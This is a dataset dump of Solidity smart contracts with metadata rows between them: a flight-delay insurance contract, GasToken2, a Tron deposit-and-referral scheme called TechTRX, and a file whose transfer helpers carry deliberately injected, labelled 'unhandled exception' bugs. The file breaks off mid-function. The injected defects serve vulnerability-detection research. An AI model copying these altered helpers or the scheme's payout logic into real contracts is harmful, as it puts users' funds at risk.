risk.premiumMultiplier = maxWeight * 10000 / weight;
risk.estimatedMaxTotalPayout = 0;
}
uint256 estimatedMaxPayout = premium * risk.premiumMultiplier;
if (estimatedMaxPayout > MAX_PAYOUT) { estimatedMaxPayout = MAX_PAYOUT; }
risk.estimatedMaxTotalPayout = risk.estimatedMaxTotalPayout + estimatedMaxPayout;
risk.weight = weight;
_underwrite(_bpKey);
uint256 requestId = _request(_bpKey,
abi.encode(risk.arrivalTime + CHECK_OFFSET,
risk.carrierFlightNumber,
risk.departureYearMonthDay),
STATUSES_CALLBACK,
statusesOracleType,
statusesOracleId);
// Now everything is prepared
// address(RiskPool).transfer(premium);
emit LogRequestFlightStatus(requestId,
risk.arrivalTime + CHECK_OFFSET,
risk.carrierFlightNumber,
risk.departureYearMonthDay);
}
function flightStatusCallback(uint256 _requestId, bytes32 _bpKey, bytes calldata _response)
external
onlyOracle
{
(bytes1 status, int256 delay) = abi.decode(_response, (bytes1, int256));
(, uint256[5] memory payouts, address payable customer,) =
abi.decode(_getApplicationData(_bpKey), (uint256,uint256[5],address,bytes32));
if (status != "L" && status != "A" && status != "C" && status != "D") {
emit LogUnprocessableStatus(_bpKey, _requestId);
return;
}
if (status == "A") {
// todo: active, reschedule oracle call + 45 min
emit LogUnexpectedStatus(_bpKey, _requestId, status, delay, customer);
return;
}
if (status == "C") {
resolvePayout(_bpKey, payouts[3], customer);
} else if (status == "D") {
resolvePayout(_bpKey, payouts[4], customer);
} else if (delay >= 15 && delay < 30) {
resolvePayout(_bpKey, payouts[0], customer);
} else if (delay >= 30 && delay < 45) {
resolvePayout(_bpKey, payouts[1], customer);
} else if (delay >= 45) {
resolvePayout(_bpKey, payouts[2], customer);
} else {
resolvePayout(_bpKey, 0, customer);
}
}
function resolvePayout(bytes32 _bpKey, uint256 _payoutAmount, address payable _customer) internal {
if (_payoutAmount == 0) {
_expire(_bpKey);
emit LogPolicyExpired(_bpKey);
} else {
uint256 claimId = _newClaim(_bpKey, abi.encode(_payoutAmount));
uint256 payoutId = _confirmClaim(_bpKey, claimId, abi.encode(_payoutAmount));
_payout(_bpKey, payoutId, true, abi.encode(_payoutAmount));
_customer.transfer(_payoutAmount);
emit LogPayoutTransferred(_bpKey, claimId, payoutId, _payoutAmount);
}
}
function calculatePayouts(uint256 _premium, uint256[6] memory _statistics)
public
view
returns (uint256 _weight, uint256[5] memory _payoutOptions)
{
require(_premium >= MIN_PREMIUM, "ERROR:FDD-009:INVALID_PREMIUM");
require(_premium <= MAX_PREMIUM, "ERROR:FDD-010:INVALID_PREMIUM");
require(_statistics[0] >= MIN_OBSERVATIONS, "ERROR:FDD-011:LOW_OBSERVATIONS");
_weight = 0;
_payoutOptions = [uint256(0), 0, 0, 0, 0];
for (uint256 i = 1; i < 6; i++) {
_weight += weightPattern[i] * _statistics[i] * 10000 / _statistics[0];
// 1% = 100 / 100% = 10,000
}
// To avoid div0 in the payout section, we have to make a minimal assumption on weight
if (_weight == 0) {
_weight = 100000 / _statistics[0];
}
_weight = _weight * (100 + MARGIN_PERCENT) / 100;
for (uint256 i = 0; i < 5; i++) {
_payoutOptions[i] = _premium * weightPattern[i + 1] * 10000 / _weight;
if (_payoutOptions[i] > MAX_PAYOUT) {
_payoutOptions[i] = MAX_PAYOUT;
}
}
}
function faucet(uint256 _amount) // for testing only
public
onlyOwner
{
require(_amount <= address(this).balance);
address payable receiver;
receiver = payable(owner());
receiver.transfer(_amount);
}
}
| 267,359 | 11,215 |
02ffdf09b29ec1548f040bfdee9ccb534fbd6f9f05823bb3fe01995f5c53efef
| 14,013 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/00/00000000006bf215a2c8b6a42033f7968480688f_GasToken2.sol
| 3,549 | 12,925 |
pragma solidity ^0.4.10;
contract GasToken2 {
//////////////////////////////////////////////////////////////////////////
// RLP.sol
// Due to some unexplained bug, we get a slightly different bytecode if
// we use an import, and are then unable to verify the code in Etherscan
//////////////////////////////////////////////////////////////////////////
uint256 constant ADDRESS_BYTES = 20;
uint256 constant MAX_SINGLE_BYTE = 128;
uint256 constant MAX_NONCE = 256**9 - 1;
// count number of bytes required to represent an unsigned integer
function count_bytes(uint256 n) constant internal returns (uint256 c) {
uint i = 0;
uint mask = 1;
while (n >= mask) {
i += 1;
mask *= 256;
}
return i;
}
function mk_contract_address(address a, uint256 n) constant internal returns (address rlp) {
require(n <= MAX_NONCE);
// number of bytes required to write down the nonce
uint256 nonce_bytes;
// length in bytes of the RLP encoding of the nonce
uint256 nonce_rlp_len;
if (0 < n && n < MAX_SINGLE_BYTE) {
// nonce fits in a single byte
// RLP(nonce) = nonce
nonce_bytes = 1;
nonce_rlp_len = 1;
} else {
// RLP(nonce) = [num_bytes_in_nonce nonce]
nonce_bytes = count_bytes(n);
nonce_rlp_len = nonce_bytes + 1;
}
// [address_length(1) address(20) nonce_length(0 or 1) nonce(1-9)]
uint256 tot_bytes = 1 + ADDRESS_BYTES + nonce_rlp_len;
// concatenate all parts of the RLP encoding in the leading bytes of
// one 32-byte word
uint256 word = ((192 + tot_bytes) * 256**31) +
((128 + ADDRESS_BYTES) * 256**30) +
(uint256(a) * 256**10);
if (0 < n && n < MAX_SINGLE_BYTE) {
word += n * 256**9;
} else {
word += (128 + nonce_bytes) * 256**9;
word += n * 256**(9 - nonce_bytes);
}
uint256 hash;
assembly {
let mem_start := mload(0x40) // get a pointer to free memory
mstore(0x40, add(mem_start, 0x20)) // update the pointer
mstore(mem_start, word) // store the rlp encoding
hash := sha3(mem_start,
add(tot_bytes, 1)) // hash the rlp encoding
}
// interpret hash as address (20 least significant bytes)
return address(hash);
}
//////////////////////////////////////////////////////////////////////////
// Generic ERC20
//////////////////////////////////////////////////////////////////////////
// owner -> amount
mapping(address => uint256) s_balances;
// owner -> spender -> max amount
mapping(address => mapping(address => uint256)) s_allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// Spec: Get the account balance of another account with address `owner`
function balanceOf(address owner) public constant returns (uint256 balance) {
return s_balances[owner];
}
function internalTransfer(address from, address to, uint256 value) internal returns (bool success) {
if (value <= s_balances[from]) {
s_balances[from] -= value;
s_balances[to] += value;
Transfer(from, to, value);
return true;
} else {
return false;
}
}
// Spec: Send `value` amount of tokens to address `to`
function transfer(address to, uint256 value) public returns (bool success) {
address from = msg.sender;
return internalTransfer(from, to, value);
}
// Spec: Send `value` amount of tokens from address `from` to address `to`
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
address spender = msg.sender;
if(value <= s_allowances[from][spender] && internalTransfer(from, to, value)) {
s_allowances[from][spender] -= value;
return true;
} else {
return false;
}
}
// Spec: Allow `spender` to withdraw from your account, multiple times, up
// to the `value` amount. If this function is called again it overwrites the
// current allowance with `value`.
function approve(address spender, uint256 value) public returns (bool success) {
address owner = msg.sender;
if (value != 0 && s_allowances[owner][spender] != 0) {
return false;
}
s_allowances[owner][spender] = value;
Approval(owner, spender, value);
return true;
}
// Spec: Returns the `amount` which `spender` is still allowed to withdraw
// from `owner`.
// What if the allowance is higher than the balance of the `owner`?
// Callers should be careful to use min(allowance, balanceOf) to make sure
// that the allowance is actually present in the account!
function allowance(address owner, address spender) public constant returns (uint256 remaining) {
return s_allowances[owner][spender];
}
//////////////////////////////////////////////////////////////////////////
// GasToken specifics
//////////////////////////////////////////////////////////////////////////
uint8 constant public decimals = 2;
string constant public name = "Gastoken.io by Incrediblez7";
string constant public symbol = "IGST2";
// We build a queue of nonces at which child contracts are stored. s_head is
// the nonce at the head of the queue, s_tail is the nonce behind the tail
// of the queue. The queue grows at the head and shrinks from the tail.
// Note that when and only when a contract CREATEs another contract, the
// creating contract's nonce is incremented.
// The first child contract is created with nonce == 1, the second child
// contract is created with nonce == 2, and so on...
// For example, if there are child contracts at nonces [2,3,4],
// then s_head == 4 and s_tail == 1. If there are no child contracts,
// s_head == s_tail.
uint256 s_head;
uint256 s_tail;
// totalSupply gives the number of tokens currently in existence
// Each token corresponds to one child contract that can be SELFDESTRUCTed
// for a gas refund.
function totalSupply() public constant returns (uint256 supply) {
return s_head - s_tail;
}
// Creates a child contract that can only be destroyed by this contract.
function makeChild() internal returns (address addr) {
assembly {
// EVM assembler of runtime portion of child contract:
// ;; Pseudocode: if (msg.sender != 0x0000000000b3f879cb30fe243b4dfee438691c04) { throw; }
// ;; suicide(msg.sender)
// PUSH15 0xb3f879cb30fe243b4dfee438691c04 ;; hardcoded address of this contract
// CALLER
// XOR
// PC
// JUMPI
// CALLER
// SELFDESTRUCT
// Or in binary: 6eb3f879cb30fe243b4dfee438691c043318585733ff
// Since the binary is so short (22 bytes), we can get away
// with a very simple initcode:
// PUSH22 0x6eb3f879cb30fe243b4dfee438691c043318585733ff
// PUSH1 0
// MSTORE ;; at this point, memory locations mem[10] through
// ;; mem[31] contain the runtime portion of the child
// ;; contract. all that's left to do is to RETURN this
// ;; chunk of memory.
// PUSH1 22 ;; length
// PUSH1 10 ;; offset
// RETURN
// Or in binary: 756eb3f879cb30fe243b4dfee438691c043318585733ff6000526016600af3
// Almost done! All we have to do is put this short (31 bytes) blob into
// memory and call CREATE with the appropriate offsets.
let solidity_free_mem_ptr := mload(0x40)
mstore(solidity_free_mem_ptr, 0x00756e6bf215a2c8b6a42033f7968480688f3318585733ff6000526016600af3)
addr := create(0, add(solidity_free_mem_ptr, 1), 31)
}
}
// Mints `value` new sub-tokens (e.g. cents, pennies, ...) by creating `value`
// new child contracts. The minted tokens are owned by the caller of this
// function.
function mint(uint256 value) public {
for (uint256 i = 0; i < value; i++) {
makeChild();
}
s_head += value;
s_balances[msg.sender] += value;
}
// Destroys `value` child contracts and updates s_tail.
//
// This function is affected by an issue in solc: https://github.com/ethereum/solidity/issues/2999
// available and its SELFDESTRUCT operation will fail leading to no gas refund occurring.
// The remaining ~29000 gas left after the call is enough to update s_tail and the caller's balance.
// Hence tokens will have been destroyed without a commensurate gas refund.
// Fortunately, there is a simple workaround:
// Whenever you call free, freeUpTo, freeFrom, or freeUpToFrom, ensure that you pass at least
// 25710 + `value` * (1148 + 5722 + 150) gas. (It won't all be used)
function destroyChildren(uint256 value) internal {
uint256 tail = s_tail;
// tail points to slot behind the last contract in the queue
for (uint256 i = tail + 1; i <= tail + value; i++) {
mk_contract_address(this, i).call();
}
s_tail = tail + value;
}
// Frees `value` sub-tokens (e.g. cents, pennies, ...) belonging to the
// caller of this function by destroying `value` child contracts, which
// will trigger a partial gas refund.
// You should ensure that you pass at least 25710 + `value` * (1148 + 5722 + 150) gas
// when calling this function. For details, see the comment above `destroyChilden`.
function free(uint256 value) public returns (bool success) {
uint256 from_balance = s_balances[msg.sender];
if (value > from_balance) {
return false;
}
destroyChildren(value);
s_balances[msg.sender] = from_balance - value;
return true;
}
// Frees up to `value` sub-tokens. Returns how many tokens were freed.
// Otherwise, identical to free.
// You should ensure that you pass at least 25710 + `value` * (1148 + 5722 + 150) gas
// when calling this function. For details, see the comment above `destroyChilden`.
function freeUpTo(uint256 value) public returns (uint256 freed) {
uint256 from_balance = s_balances[msg.sender];
if (value > from_balance) {
value = from_balance;
}
destroyChildren(value);
s_balances[msg.sender] = from_balance - value;
return value;
}
// Frees `value` sub-tokens owned by address `from`. Requires that `msg.sender`
// has been approved by `from`.
// You should ensure that you pass at least 25710 + `value` * (1148 + 5722 + 150) gas
// when calling this function. For details, see the comment above `destroyChilden`.
function freeFrom(address from, uint256 value) public returns (bool success) {
address spender = msg.sender;
uint256 from_balance = s_balances[from];
if (value > from_balance) {
return false;
}
mapping(address => uint256) from_allowances = s_allowances[from];
uint256 spender_allowance = from_allowances[spender];
if (value > spender_allowance) {
return false;
}
destroyChildren(value);
s_balances[from] = from_balance - value;
from_allowances[spender] = spender_allowance - value;
return true;
}
// Frees up to `value` sub-tokens owned by address `from`. Returns how many tokens were freed.
// Otherwise, identical to `freeFrom`.
// You should ensure that you pass at least 25710 + `value` * (1148 + 5722 + 150) gas
// when calling this function. For details, see the comment above `destroyChilden`.
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed) {
address spender = msg.sender;
uint256 from_balance = s_balances[from];
if (value > from_balance) {
value = from_balance;
}
mapping(address => uint256) from_allowances = s_allowances[from];
uint256 spender_allowance = from_allowances[spender];
if (value > spender_allowance) {
value = spender_allowance;
}
destroyChildren(value);
s_balances[from] = from_balance - value;
from_allowances[spender] = spender_allowance - value;
return value;
}
}
| 312,154 | 11,216 |
3587b0920dc8766543f32edf207ab5879adc39ae149c59b979ae617a950f98d6
| 15,697 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TN/TNpwCX5T6MnctaWzLw9U1CdKfH1HneaBxj_TechTRX.sol
| 3,969 | 15,137 |
//SourceUnit: TechTrx.sol
pragma solidity 0.5.8;
contract TechTRX {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 100;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public BASE_PERCENT = 200;
uint[] public REFERRAL_PERCENTS = [400, 200, 100, 50, 50, 50, 50, 50, 50, 50];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 500;
uint constant public MAX_CONTRACT_PERCENT = 1000;
uint constant public MAX_HOLD_PERCENT = 500;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint constant public TIME_STEP = 1 days;
uint[] public DAY_LIMIT_STEPS = [100000 trx, 200000 trx, 500000 trx, 1000000 trx, 2000000 trx];
uint public totalDeposits;
uint public totalInvested;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreation;
address payable public marketingAddress;
address payable public projectAddress;
struct Deposit {
uint64 amount;
uint64 withdrawn;
uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[10] refs;
uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
contractCreation = block.timestamp;
contractPercent = getContractBalanceRate();
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT, "Minimum deposit amount 100 TRX");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
uint availableLimit = getCurrentHalfDayAvailable();
require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
if (msgValue > availableLimit) {
msg.sender.transfer(msgValue.sub(availableLimit));
msgValue = availableLimit;
}
uint halfDayTurnover = turnover[getCurrentHalfDay()];
uint halfDayLimit = getCurrentDayLimit();
if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
} else {
turnover[getCurrentHalfDay()] = halfDayLimit;
}
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
emit FeePayed(msg.sender, marketingFee.add(projectFee));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 10; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
if (i == 0 && users[upline].rbackPercent > 0) {
refbackAmount = amount.mul(uint(users[upline].rbackPercent)).div(PERCENTS_DIVIDER);
msg.sender.transfer(refbackAmount);
emit RefBack(upline, msg.sender, refbackAmount);
amount = amount.sub(refbackAmount);
}
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint64(refbackAmount), uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function setRefback(uint16 rbackPercent) public {
require(rbackPercent <= 10000);
User storage user = users[msg.sender];
if (user.deposits.length > 0) {
user.rbackPercent = rbackPercent;
}
}
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() internal view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(5));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn)).add(uint(user.deposits[i].refback));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreation)).div(TIME_STEP.div(2));
}
function getCurrentDayLimit() public view returns (uint) {
uint limit;
uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
if (currentDay == 0) {
limit = DAY_LIMIT_STEPS[0];
} else if (currentDay == 1) {
limit = DAY_LIMIT_STEPS[1];
} else if (currentDay >= 2 && currentDay <= 5) {
limit = DAY_LIMIT_STEPS[1].mul(currentDay);
} else if (currentDay >= 6 && currentDay <= 19) {
limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
} else if (currentDay >= 20 && currentDay <= 49) {
limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
} else if (currentDay >= 50) {
limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
}
return limit;
}
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
function getCurrentHalfDayAvailable() public view returns (uint) {
return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
}
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent, getCurrentHalfDayAvailable());
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint64, uint64, uint24[10] memory) {
User storage user = users[userAddress];
return (user.referrer, user.rbackPercent, users[user.referrer].rbackPercent, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 305,859 | 11,217 |
48afaa8db010f77a538474f47ffcbcc468993a46b9784203ad78e4f20913caa0
| 28,290 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/unhandledException/manualCheck/0x18bcB5a4D169d47D5DB50364bC2e54cb37dbD74b_unhandledException.sol
| 4,894 | 18,163 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = (false, bytes(msg.data));
recipient.call{ value: amount }(""); //inject UNHANDLED EXCEPTION
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = (false, bytes(msg.data));
target.call{ value: weiValue }(data); //inject UNHANDLED EXCEPTION
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
interface ICurveFi {
function get_virtual_price() external view returns (uint256);
function add_liquidity(// sBTC pool
